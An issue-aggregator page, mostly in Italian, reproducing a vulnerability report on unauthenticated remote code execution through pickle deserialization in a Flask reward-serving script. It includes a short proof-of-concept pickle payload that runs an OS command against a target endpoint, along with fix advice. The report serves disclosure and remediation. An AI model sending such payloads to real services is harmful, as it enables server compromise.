[Security] Unauthenticated RCE via Pickle Deserialization in serve_general_reward.py (CWE-502)
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 4/5
- Tempo stimato
- 3-5 giorni
- Idoneità per principianti
- 45/100
Direzione di ricerca
Start with scripts/serve_general_reward.py:29 and trace how the POST / request body is consumed by the inference endpoint. Review the service's host and communication assumptions before choosing between JSON serialization and authenticated trusted communication. Done means unauthenticated request data can no longer trigger arbitrary deserialization, with the endpoint's intended request handling preserved.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Summary
CVSS 9.8 (Critical) — Unauthenticated Remote Code Execution via unsafe pickle.loads() on raw HTTP request body in scripts/serve_general_reward.py.
Affected Code
File: scripts/serve_general_reward.py:29
@root.route("/", methods=["POST"])
def inference():
data = request.get_data()
payload = pickle.loads(data) # ← RCE via untrusted deserialization
The Flask endpoint accepts POST requests to / with ZERO authentication. The raw HTTP body is passed directly to pickle.loads(), which executes arbitrary Python code during deserialization.
Impact
Complete server compromise. Any unauthenticated attacker on the network (the host defaults to 127.0.0.1 but can be overridden via GENERAL_REWARD_HOST env var) can:
- Execute arbitrary OS commands
- Steal ML models and training data
- Establish persistence on the server
Proof of Concept
import pickle, os, requests
class Exploit:
def __reduce__(self):
return (os.system, ("id > /tmp/pwned_worldr1",))
payload = pickle.dumps(Exploit())
requests.post("http://TARGET:8090/", data=payload)
Fix
Replace pickle with JSON serialization (json.loads). If pickle is required for internal communication, add authentication (HMAC/API key) and only accept connections from trusted sources.
Disclosure
This project does not have Private Vulnerability Reporting enabled. Please enable it at https://github.com/microsoft/World-R1/security. For private coordination: xiaoyaotom101df2@xiaoyaobot.top
CC @microsoft security team
- Lingua principale
- Python
- Stelle
- 426
- Fork
- 17
- Metriche di merge delle PR
- Nessuna PR unita negli ultimi 30g
Guida per i contributori
Nessuna guida per i contributori indicizzata per questo repository
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di microsoft/World-R1
Tutte le issue di microsoft/World-R1
Issue simili
-
area: harness bug status: needs-triage
Difficoltà 2/5 1-3 ore Idoneità per principianti 75/100
Human-Agent-Society/reef#625 ·
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 70/100
-
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 80/100
learningequality/kolibri#15351 · 2 commenti ·
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 75/100
-
Name consistency Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 75/100
eellak/triplestore#65 · 1 commento ·